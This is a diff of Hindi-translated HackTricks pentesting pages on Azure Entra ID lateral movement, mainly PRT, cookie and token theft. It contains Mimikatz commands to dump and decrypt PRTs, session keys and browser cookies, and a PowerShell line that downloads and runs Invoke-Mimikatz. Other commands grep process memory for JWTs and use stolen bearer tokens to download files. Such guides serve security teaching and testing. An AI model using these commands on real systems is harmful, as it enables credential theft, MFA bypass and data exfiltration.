AD में एक AD उपयोगकर्ता के अंदर बदला जाए, Entra ID प्रशासनिक उपयोगकर्ता का ईमेल जोड़कर और यह सुनिश्चित करके कि AD और Entra ID में उपयोगकर्ता का UPN मेल खाता है (यह फिर से Entra ID है), जैसे **`SMTP:admin@domain.onmicrosoft.com`**। और यह **इस उपयोगकर्ता की समन्वयित करने के लिए मजबूर करेगा** Entra ID से ऑन-प्रेम AD में, इसलिए यदि उपयोगकर्ता का पासवर्ड ज्ञात था, तो इसका उपयोग **Entra ID में प्रशासनिक उपयोगकर्ता तक पहुँचने के लिए किया जा सकता था।** Entra ID से ऑन-प्रेम AD में एक नए उपयोगकर्ता को समन्वयित करने के लिए ये आवश्यकताएँ हैं, केवल आवश्यकताएँ हैं: - ऑन-प्रेम AD में एक उपयोगकर्ता के गुणों को नियंत्रित करना (या नए उपयोगकर्ताओं को बनाने के लिए अनुमतियाँ होना) - Entra ID से ऑन-प्रेम AD में समन्वयित करने के लिए उपयोगकर्ता को केवल क्लाउड में जानना -- आपको **हार्ड मैच** करने के लिए Entra ID उपयोगकर्ता से ऑन-प्रेम AD उपयोगकर्ता के लिए immutableID गुण को बदलने में सक्षम होना भी आवश्यक हो सकता है। +- आपको **hard match** करने के लिए Entra ID उपयोगकर्ता से ऑन-प्रेम AD उपयोगकर्ता के immutableID गुण को बदलने में सक्षम होना भी आवश्यक हो सकता है। > [!CAUTION] @@ -20,7 +20,7 @@ Entra ID से ऑन-प्रेम AD में एक नए उपयो -## संदर्भ +## References - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) - [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index fb6c097d1..d5fe07535 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -16,24 +16,44 @@ Tokens और संवेदनशील डेटा Azure CLI द्वार ### Azure PowerShell -Azure PowerShell भी टोकन और संवेदनशील डेटा को संग्रहीत करता है, जिसे स्थानीय रूप से एक्सेस किया जा सकता है: +Azure PowerShell भी टोकन और संवेदनशील डेटा संग्रहीत करता है, जिसे स्थानीय रूप से एक्सेस किया जा सकता है: 1. **Access Tokens**: `TokenCache.dat`, जो `C:\Users\\.Azure` पर स्थित है, स्पष्ट पाठ में एक्सेस टोकन संग्रहीत करता है। 2. **Service Principal Secrets**: ये `AzureRmContext.json` में बिना एन्क्रिप्टेड संग्रहीत होते हैं। 3. **Token Saving Feature**: उपयोगकर्ताओं के पास `Save-AzContext` कमांड का उपयोग करके टोकन को स्थायी बनाने की क्षमता होती है, जिसे अनधिकृत एक्सेस से बचने के लिए सावधानी से उपयोग किया जाना चाहिए। -## Automatic Tools to find them +### Automatic Tools to find them - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Security Recommendations +## Tokens in memory -संवेदनशील डेटा को स्पष्ट पाठ में संग्रहीत करने को देखते हुए, इन फ़ाइलों और निर्देशिकाओं को सुरक्षित करना महत्वपूर्ण है: +जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में बताया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **साफ़ पाठ में मेमोरी में एक्सेस टोकन संग्रहीत कर सकते हैं**। इसलिए केवल **dumping** करना और **memory** के प्रोसेस का **grepping for JWT tokens** आपको क्लाउड में कई संसाधनों पर पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए। -- इन फ़ाइलों के लिए एक्सेस अधिकारों को सीमित करना। -- अनधिकृत एक्सेस या अप्रत्याशित परिवर्तनों के लिए इन निर्देशिकाओं की नियमित रूप से निगरानी और ऑडिट करना। -- जहां संभव हो, संवेदनशील फ़ाइलों के लिए एन्क्रिप्शन का उपयोग करना। -- उपयोगकर्ताओं को ऐसे संवेदनशील जानकारी को संभालने के जोखिमों और सर्वोत्तम प्रथाओं के बारे में शिक्षित करना। +Steps: + +1. अपने पसंदीदा टूल के साथ EntraID उपयोगकर्ता के साथ समन्वयित एक्सेल प्रक्रियाओं को डंप करें। +2. चलाएँ: `string excel.dmp | grep 'eyJ0'` और आउटपुट में कई टोकन खोजें। +3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर हैं और उनके ऊपर टूल चलाएँ: +```bash +# Check the identity of the token +curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq + +# Check the email (you need a token authorized in login.microsoftonline.com) +curl -s -H "Authorization: Bearer " https://outlook.office.com/api/v2.0/me/messages | jq + +# Download a file from Teams +## You need a token that can access graph.microsoft.com +## Then, find the inside the memory and call +curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/sites//drives | jq + +## Then, list one drive +curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq + +## Finally, download a file from that drive: +curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' +``` +**ध्यान दें कि इस प्रकार के एक्सेस टोकन अन्य प्रक्रियाओं के अंदर भी पाए जा सकते हैं।** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 333ca04ac..4ebde5603 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,15 +4,15 @@ ## Pass the Certificate (Azure) -Azure में जुड़े मशीनों पर, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणीकृत करना संभव है जो **Entra ID CA द्वारा आवश्यक उपयोगकर्ता (विषय के रूप में) के लिए जारी किए जाने चाहिए** जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं। +Azure में जुड़े मशीनों पर, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणीकृत करना संभव है जो **उपयोगकर्ता के लिए Entra ID CA द्वारा जारी किए जाने चाहिए** (विषय के रूप में) जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं। -अत्यधिक सरल शब्दों में: +बहुत सरल शब्दों में: - कनेक्शन शुरू करने वाली मशीन (क्लाइंट) को **उपयोगकर्ता के लिए Entra ID से एक प्रमाणपत्र की आवश्यकता होती है**। -- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) से साइन करता है और **इसे Entra ID को भेजता है**। +- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) का उपयोग करके साइन करता है और **इसे Entra ID को भेजता है**। - Entra ID JWT हस्ताक्षर को क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके सत्यापित करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है। -इस परिदृश्य में और [**Pass the PRT**](pass-the-prt.md) हमले के लिए आवश्यक सभी जानकारी प्राप्त करने के बाद: +इस परिदृश्य में और [**Pass the PRT**](az-primary-refresh-token-prt.md) हमले के लिए आवश्यक सभी जानकारी प्राप्त करने के बाद: - उपयोगकर्ता नाम - टेनेट ID @@ -20,7 +20,7 @@ Azure में जुड़े मशीनों पर, एक मशीन - सुरक्षा संदर्भ - व्युत्पन्न कुंजी -उपकरण [**PrtToCert**](https://github.com/morRubin/PrtToCert)** के लिए उपयोगकर्ता के लिए **P2P प्रमाणपत्र** **अनुरोध करना संभव है**। +उपयोगकर्ता के लिए **P2P प्रमाणपत्र** का **PrtToCert** टूल का उपयोग करके **अनुरोध करना संभव है**: [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 357edfbb5..f9f780fa4 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -14,13 +14,13 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ## Attack -चुनौतीपूर्ण भाग यह है कि वे **कुकीज़ एन्क्रिप्टेड** हैं उपयोगकर्ता के लिए Microsoft Data Protection API (**DPAPI**) के माध्यम से। यह एन्क्रिप्टेड है [उपयोगकर्ता से जुड़े क्रिप्टोग्राफिक कुंजी](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) के साथ जिनकी कुकीज़ हैं। आप इसके बारे में अधिक जानकारी यहाँ पा सकते हैं: +चुनौतीपूर्ण भाग यह है कि वे **कुकीज़ एन्क्रिप्टेड** हैं उपयोगकर्ता के लिए Microsoft Data Protection API (**DPAPI**) के माध्यम से। यह एन्क्रिप्टेड है [कुंजी जो उपयोगकर्ता से जुड़ी हैं](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) जिनसे कुकीज़ संबंधित हैं। इसके बारे में अधिक जानकारी आप यहाँ पा सकते हैं: {{#ref}} https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html {{#endref}} -Mimikatz के साथ, मैं इस कमांड के साथ **एक उपयोगकर्ता की कुकीज़** निकालने में सक्षम हूँ, भले ही वे एन्क्रिप्टेड हों: +Mimikatz के साथ, मैं इस कमांड के माध्यम से **एक उपयोगकर्ता की कुकीज़** निकालने में सक्षम हूँ, भले ही वे एन्क्रिप्टेड हों: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index d43e76872..914ac7392 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -4,9 +4,9 @@ ## What is a Primary Refresh Token (PRT)? -A **Primary Refresh Token (PRT)** एक दीर्घकालिक रिफ्रेश टोकन है जो Azure AD (Entra ID) प्रमाणीकरण में उपयोग किया जाता है, जो Kerberos TGT के समान है। यह Azure AD-से जुड़े डिवाइस पर उपयोगकर्ता लॉगिन के समय जारी किया जाता है और इसे विभिन्न अनुप्रयोगों के लिए एक्सेस टोकन अनुरोध करने के लिए उपयोग किया जा सकता है बिना क्रेडेंशियल्स को फिर से पूछे। प्रत्येक PRT के साथ एक **सत्र कुंजी** (जिसे प्रमाण-स्वामित्व कुंजी भी कहा जाता है) होती है -- एक सममित कुंजी जो अनुरोधों पर हस्ताक्षर करने और यह साबित करने के लिए उपयोग की जाती है कि क्लाइंट के पास PRT है। PRT स्वयं एक अपारदर्शी, एन्क्रिप्टेड ब्लॉब है (जो क्लाइंट द्वारा पढ़ा नहीं जा सकता), जबकि सत्र कुंजी का उपयोग टोकन अनुरोध करते समय PRT को शामिल करने वाले JWT पर **हस्ताक्षर** करने के लिए किया जाता है। दूसरे शब्दों में, केवल PRT का स्वामित्व पर्याप्त नहीं है; एक हमलावर को वैधता साबित करने के लिए सत्र कुंजी की आवश्यकता होती है, जैसे कि प्रमाणीकरण के लिए Kerberos TGT और इसकी सत्र कुंजी दोनों की आवश्यकता होती है। +A **Primary Refresh Token (PRT)** एक दीर्घकालिक रिफ्रेश टोकन है जो Azure AD (Entra ID) प्रमाणीकरण में उपयोग किया जाता है, जो Kerberos TGT के समान है। यह Azure AD-से जुड़े डिवाइस पर उपयोगकर्ता लॉगिन के समय जारी किया जाता है और इसे विभिन्न अनुप्रयोगों के लिए एक्सेस टोकन अनुरोध करने के लिए उपयोग किया जा सकता है बिना क्रेडेंशियल्स को फिर से पूछे। प्रत्येक PRT के साथ एक **सत्र कुंजी** (जिसे प्रमाण-स्वामित्व कुंजी भी कहा जाता है) होती है -- एक सममित कुंजी जो अनुरोधों पर हस्ताक्षर करने और यह साबित करने के लिए उपयोग की जाती है कि क्लाइंट के पास PRT है। PRT स्वयं एक अपारदर्शी, एन्क्रिप्टेड ब्लॉब है (जो क्लाइंट द्वारा पढ़ा नहीं जा सकता), जबकि सत्र कुंजी का उपयोग टोकन अनुरोध करते समय PRT को शामिल करने वाले JWT पर **हस्ताक्षर** करने के लिए किया जाता है। दूसरे शब्दों में, केवल PRT का स्वामित्व अपर्याप्त है; एक हमलावर को वैधता साबित करने के लिए सत्र कुंजी की आवश्यकता होती है, जैसे कि प्रमाणीकरण के लिए Kerberos TGT और इसकी सत्र कुंजी दोनों की आवश्यकता होती है। -Windows पर, PRT और सत्र कुंजी को CloudAP प्लगइन के माध्यम से LSASS प्रक्रिया में कैश किया जाता है। यदि किसी डिवाइस में **TPM** (विश्वसनीय प्लेटफ़ॉर्म मॉड्यूल) है, तो Azure AD कुंजियों को अतिरिक्त सुरक्षा के लिए TPM से बांधता है। इसका मतलब है कि TPM-सुसज्जित उपकरणों पर, सत्र कुंजी TPM के भीतर संग्रहीत या उपयोग की जाती है ताकि इसे सामान्य परिस्थितियों में मेमोरी से सीधे पढ़ा न जा सके। यदि कोई TPM उपलब्ध नहीं है (जैसे कि कई VMs या पुराने सिस्टम), तो कुंजियाँ सॉफ़्टवेयर में रखी जाती हैं और DPAPI एन्क्रिप्शन के साथ सुरक्षित की जाती हैं। दोनों मामलों में, एक हमलावर जिसके पास प्रशासनिक विशेषाधिकार या मशीन पर कोड निष्पादन है, वह **मेमोरी से PRT और सत्र कुंजी को डंप करने** का प्रयास कर सकता है और फिर उन्हें क्लाउड में उपयोगकर्ता का अनुकरण करने के लिए उपयोग कर सकता है। सामान्य रिफ्रेश टोकनों के विपरीत (जो आमतौर पर अनुप्रयोग-विशिष्ट होते हैं), एक PRT व्यापक है, जिससे आपके डिवाइस को लगभग किसी भी Entra ID-एकीकृत संसाधन या सेवा के लिए टोकन अनुरोध करने की अनुमति मिलती है। +Windows पर, PRT और सत्र कुंजी को CloudAP प्लगइन के माध्यम से LSASS प्रक्रिया में कैश किया जाता है। यदि किसी डिवाइस में **TPM** (विश्वसनीय प्लेटफ़ॉर्म मॉड्यूल) है, तो Azure AD कुंजियों को अतिरिक्त सुरक्षा के लिए TPM से बांधता है। इसका मतलब है कि TPM-सुसज्जित उपकरणों पर, सत्र कुंजी TPM के भीतर संग्रहीत या उपयोग की जाती है ताकि इसे सामान्य परिस्थितियों में मेमोरी से सीधे पढ़ा न जा सके। यदि कोई TPM उपलब्ध नहीं है (जैसे कि कई VMs या पुराने सिस्टम), तो कुंजियाँ सॉफ़्टवेयर में रखी जाती हैं और DPAPI एन्क्रिप्शन के साथ सुरक्षित की जाती हैं। दोनों मामलों में, एक हमलावर जिसके पास प्रशासनिक विशेषाधिकार या मशीन पर कोड निष्पादन है, वह **मेमोरी से PRT और सत्र कुंजी को डंप करने** का प्रयास कर सकता है और फिर उन्हें क्लाउड में उपयोगकर्ता का प्रतिनिधित्व करने के लिए उपयोग कर सकता है। सामान्य रिफ्रेश टोकनों के विपरीत (जो आमतौर पर अनुप्रयोग-विशिष्ट होते हैं), एक PRT व्यापक है, जिससे आपके डिवाइस को लगभग किसी भी Entra ID-एकीकृत संसाधन या सेवा के लिए टोकन अनुरोध करने की अनुमति मिलती है। ## How Does a PRT Work? @@ -61,27 +61,38 @@ dsregcmd /status # KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound. # Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test). ``` -## Dump and user unprotected PRTs +## PRT को पास करें -According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **without TPM binding**, the PRT and its session key LSASS (CloudAP plug‑in) में रहते हैं। उस डिवाइस पर स्थानीय admin/SYSTEM के साथ, PRT blob और DPAPI‑encrypted session key को **LSASS से पढ़ा जा सकता है, session key को DPAPI के माध्यम से decrypted किया जा सकता है, और signing key को derived किया जा सकता है** ताकि एक मान्य PRT cookie (`x‑ms‑RefreshTokenCredential`) बनाया जा सके। आपको PRT और इसके session key दोनों की आवश्यकता है—केवल PRT string पर्याप्त नहीं है। +According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **without TPM binding**, the PRT and its session key live in LSASS (CloudAP plug‑in). With local admin/SYSTEM on that device, the PRT blob and the DPAPI‑encrypted session key can be **read from LSASS, the session key decrypted via DPAPI, and the signing key derived** to mint a valid PRT cookie (`x‑ms‑RefreshTokenCredential`). You need both the PRT and its session key—the PRT string alone isn’t enough. ### Mimikatz + +1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use. +2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md). +3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). ```bash privilege::debug sekurlsa::cloudap + +# Or in powershell +iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") +Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` **PRT क्षेत्र** में एन्क्रिप्टेड रिफ्रेश टोकन होता है (आमतौर पर base64 स्ट्रिंग), और ProofOfPossessionKey में KeyValue DPAPI-एन्क्रिप्टेड सत्र कुंजी है (यह भी base64 है)। -फिर, **`sekurlsa::cloudap`** आउटपुट से, `ProofOfPossessionKey` क्षेत्र के अंदर **`KeyValue`** से base64 ब्लॉब कॉपी करें (यह DPAPI के साथ एन्क्रिप्टेड सत्र कुंजी है)। इस एन्क्रिप्टेड कुंजी का उपयोग सीधे नहीं किया जा सकता – इसे सिस्टम के DPAPI क्रेडेंशियल्स का उपयोग करके डिक्रिप्ट किया जाना चाहिए। +फिर, **`sekurlsa::cloudap`** आउटपुट से, `ProofOfPossessionKey` क्षेत्र के अंदर **`KeyValue`** से base64 ब्लॉब कॉपी करें (यह DPAPI के साथ एन्क्रिप्टेड सत्र कुंजी है)। इस एन्क्रिप्टेड कुंजी का उपयोग सीधे नहीं किया जा सकता – इसे सिस्टम के DPAPI क्रेडेंशियल्स का उपयोग करके डिक्रिप्ट करना होगा। क्योंकि सिस्टम रहस्यों के लिए DPAPI एन्क्रिप्शन मशीन के सिस्टम संदर्भ की आवश्यकता होती है, अपने टोकन को SYSTEM में बढ़ाएं और Mimikatz के DPAPI मॉड्यूल का उपयोग करके डिक्रिप्ट करें: ```bash token::elevate dpapi::cloudapkd /keyvalue: /unprotect + +# PowerShell version +Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue: /unprotect"' ``` `token::elevate` SYSTEM का अनुकरण करेगा और `dpapi::cloudapkd` कमांड `/unprotect` के साथ DPAPI मास्टर कुंजी का उपयोग करके प्रदान किए गए KeyValue ब्लॉब को डिक्रिप्ट करेगा। इससे स्पष्ट-टेक्स्ट सत्र कुंजी और संबंधित Derived Key और Context प्राप्त होता है जो साइनिंग के लिए उपयोग किया जाता है: - **Clear key** – स्पष्ट टेक्स्ट में 32-बाइट सत्र कुंजी (हैक्स स्ट्रिंग के रूप में प्रदर्शित)। -- **Derived Key** – सत्र कुंजी और एक संदर्भ मान से निकाली गई 32-बाइट कुंजी (इस पर नीचे अधिक)। +- **Derived Key** – सत्र कुंजी और एक संदर्भ मान से निकाली गई 32-बाइट कुंजी (इस पर नीचे और अधिक)। - **Context** – 24-बाइट यादृच्छिक संदर्भ जो PRT कुकी के लिए साइनिंग कुंजी निकालते समय उपयोग किया गया था। > [!NOTE] @@ -94,13 +105,13 @@ dpapi::cloudapkd /keyvalue: /unprotect # PRT is obtained from sekurlsa::cloudap (filed "Prt" dpapi::cloudapkd /context: /derivedkey: /prt: ``` -Mimikatz एक साइन किया हुआ JWT (जिसे `PRT cookie` कहा जाता है) "Signature with key" लाइन के बाद आउटपुट करेगा, जिसमें PRT होता है और इसे प्राप्त कुंजी का उपयोग करके साइन किया जाता है। इस JWT को कॉपी किया जा सकता है और फिर एक वेब सत्र में उपयोग किया जा सकता है। उदाहरण के लिए, एक हमलावर एक ब्राउज़र खोल सकता है, `login.microsoftonline.com` पर जा सकता है, और एक कुकी सेट कर सकता है जिसका नाम `x-ms-RefreshTokenCredential` है और जिसका मान यह JWT है। जब ब्राउज़र रिफ्रेश या नेविगेट करता है, Azure AD सत्र को प्रमाणित के रूप में मानता है (PRT कुकी को इस तरह प्रस्तुत किया जाता है जैसे SSO हुआ हो), और यह निर्दिष्ट संसाधन के लिए एक प्राधिकरण कोड या एक्सेस टोकन जारी करेगा। प्रैक्टिस में, कोई Office 365 या Azure पोर्टल जैसे संसाधन पर नेविगेट करेगा; एक मान्य PRT कुकी की उपस्थिति का मतलब है कि Azure AD बिना अतिरिक्त लॉगिन के एक्सेस प्रदान करेगा (MFA को बायपास करते हुए, क्योंकि PRT पहले से प्रमाणित है)। +Mimikatz एक साइन किया हुआ JWT (जिसे `PRT cookie` कहा जाता है) "Signature with key" पंक्ति के बाद आउटपुट करेगा, जिसमें PRT होता है और इसे प्राप्त कुंजी का उपयोग करके साइन किया जाता है। इस JWT को कॉपी किया जा सकता है और फिर एक वेब सत्र में उपयोग किया जा सकता है। उदाहरण के लिए, एक हमलावर एक ब्राउज़र खोल सकता है, `login.microsoftonline.com` पर जा सकता है, और `x-ms-RefreshTokenCredential` नामक एक कुकी सेट कर सकता है, जिसका मान यह JWT होता है। जब ब्राउज़र रिफ्रेश या नेविगेट करता है, Azure AD सत्र को प्रमाणित के रूप में मानता है (PRT कुकी को इस तरह प्रस्तुत किया जाता है जैसे SSO हुआ हो), और यह निर्दिष्ट संसाधन के लिए एक प्राधिकरण कोड या एक्सेस टोकन जारी करेगा। प्रैक्टिस में, कोई Office 365 या Azure पोर्टल जैसे संसाधन पर नेविगेट करेगा; एक मान्य PRT कुकी की उपस्थिति का मतलब है कि Azure AD बिना अतिरिक्त लॉगिन के एक्सेस प्रदान करेगा (MFA को बायपास करते हुए, क्योंकि PRT पहले से प्रमाणित है)। आप **`roadtx`** और **`roadrecon`** का उपयोग PRT कुकी के PRT के साथ उपयोगकर्ता का अनुकरण करने के लिए भी कर सकते हैं *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*। -### AADInternals +### Mimikatz + AADInternals -**`AADInternals`** PowerShell मॉड्यूल को पहले प्राप्त PRT और सत्र कुंजी के साथ एक मान्य PRT टोकन उत्पन्न करने के लिए भी उपयोग किया जा सकता है। यह एक नए PRT टोकन को नॉनस के साथ प्राप्त करने की प्रक्रिया को स्वचालित करने के लिए उपयोगी है, जिसे Azure AD Graph API या अन्य संसाधनों के लिए एक्सेस टोकन प्राप्त करने के लिए उपयोग किया जा सकता है: +**`AADInternals`** PowerShell मॉड्यूल को पहले प्राप्त PRT और सत्र कुंजी के साथ एक मान्य PRT टोकन उत्पन्न करने के लिए भी उपयोग किया जा सकता है। यह नए PRT टोकन को नॉनस के साथ प्राप्त करने की प्रक्रिया को स्वचालित करने के लिए उपयोगी है, जिसे Azure AD Graph API या अन्य संसाधनों के लिए एक्सेस टोकन प्राप्त करने के लिए उपयोग किया जा सकता है: ```bash # Code from https://aadinternals.com/post/prt/ # Add the PRT to a variable @@ -124,31 +135,50 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey # Get an access token for MS Graph API Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken ``` -This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood. +यह एक ताजा PRT कुकी (एक nonce के साथ) प्राप्त करता है और फिर इसका उपयोग Azure AD Graph API के लिए एक एक्सेस टोकन प्राप्त करने के लिए करता है (उपयोगकर्ता की ओर से क्लाउड एक्सेस का प्रदर्शन करते हुए)। AADInternals बहुत सारी क्रिप्टोग्राफी को अमूर्त करता है और इसके तहत Windows घटकों या अपनी स्वयं की लॉजिक का उपयोग करता है। -## Abusing protected PRTs +### Mimikatz + roadtx -Despite the mentioned protections, an attacker who has already compromised a device (as a local user or even SYSTEM) can still **abuse the PRT to obtain fresh access tokens** by leveraging Windows' own token broker APIs and security components. Instead of **extracting** the raw PRT or key, the attacker essentially **"asks" Windows to use the PRT on their behalf**. In the sections below, we outline currently valid techniques for abusing PRTs and their session keys on up-to-date Windows devices where TPM protections are in effect. All these techniques assume post-exploitation access on the target machine, and **focus on abusing built-in authentication flows** (no unpatched vulnerabilities needed). +- पहले PRT को नवीनीकरण करें, जो इसे `roadtx.prt` में सहेज देगा: +```bash +roadtx prt -a renew --prt --prt-sessionkey +``` +- अब हम `roadtx browserprtauth` के साथ इंटरैक्टिव ब्राउज़र का उपयोग करके **टोकन अनुरोध** कर सकते हैं। यदि हम `roadtx describe` कमांड का उपयोग करते हैं, तो हम देखते हैं कि एक्सेस टोकन में एक MFA दावा शामिल है क्योंकि इस मामले में मैंने जो PRT उपयोग किया था, उसमें भी एक MFA दावा था। +```bash +roadtx browserprtauth +roadtx describe < .roadtools_auth +``` +
-### Windows Token Broker Architecture and SSO Flow +#### Mimikatz + roadrecon -Modern Windows handles cloud authentication via a built-in **token broker** stack, which includes components in both user mode and LSASS (Local Security Authority). Key pieces of this architecture include: +mimikatz द्वारा डंप की गई संदर्भ और व्युत्पन्न कुंजी के साथ, roadrecon का उपयोग करके एक नया साइन किया हुआ कुकी उत्पन्न करना संभव है: +```bash +roadrecon auth --prt-cookie --prt-context --derives-key +``` +## संरक्षित PRTs का दुरुपयोग -- **LSASS CloudAP Plugin:** When a device is Azure AD joined, LSASS loads cloud authentication packages (e.g. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) that manage PRTs and token requests. LSASS (running as SYSTEM) orchestrates PRT storage, renewal, and usage, and interfaces with the TPM to perform cryptographic operations (like signing a PRT challenge with the session key). +उल्लेखित सुरक्षा उपायों के बावजूद, एक हमलावर जिसने पहले ही एक डिवाइस को समझौता कर लिया है (एक स्थानीय उपयोगकर्ता के रूप में या यहां तक कि SYSTEM के रूप में) अभी भी **नए एक्सेस टोकन प्राप्त करने के लिए PRT का दुरुपयोग कर सकता है** Windows के अपने टोकन ब्रोकर APIs और सुरक्षा घटकों का लाभ उठाकर। कच्चे PRT या कुंजी को **निकालने** के बजाय, हमलावर मूलतः **"Windows से अनुरोध करता है कि वह उनके पक्ष में PRT का उपयोग करे"**। नीचे के अनुभागों में, हम PRTs और उनके सत्र कुंजियों के दुरुपयोग के लिए वर्तमान में मान्य तकनीकों का वर्णन करते हैं जो अद्यतन Windows उपकरणों पर लागू होती हैं जहां TPM सुरक्षा प्रभाव में है। ये सभी तकनीकें लक्षित मशीन पर पोस्ट-एक्सप्लॉइटेशन एक्सेस मानती हैं, और **बिल्ट-इन प्रमाणीकरण प्रवाह के दुरुपयोग पर ध्यान केंद्रित करती हैं** (कोई पैच न की गई कमजोरियों की आवश्यकता नहीं है)। -- **Web Account Manager (WAM):** The Windows Web Account Manager is a user-mode framework (accessible via COM/WinRT APIs) that allows applications or browsers to request tokens for cloud accounts without prompting for credentials. WAM acts as a broker between user applications and the secure LSASS/TPM-backed PRT. For example, Microsoft's MSAL library and certain OS components use WAM to silently acquire tokens using the logged-in user's PRT. +### Windows टोकन ब्रोकर आर्किटेक्चर और SSO प्रवाह -- **BrowserCore.exe and Token Broker COM interfaces:** For browser SSO, Windows includes a component called **BrowserCore.exe** (located under *Windows Security\BrowserCore*). This is a native messaging host used by browsers (Edge, Chrome via an extension, etc.) to obtain a PRT-derived SSO token for Azure AD login. Under the hood, BrowserCore leverages a COM object provided by `MicrosoftAccountTokenProvider.dll` to retrieve a PRT-based cookie/token. In essence, this COM interface is a first-party "token broker" API that any process running as the user can obscall to get an SSO token (provided the user has a valid PRT in 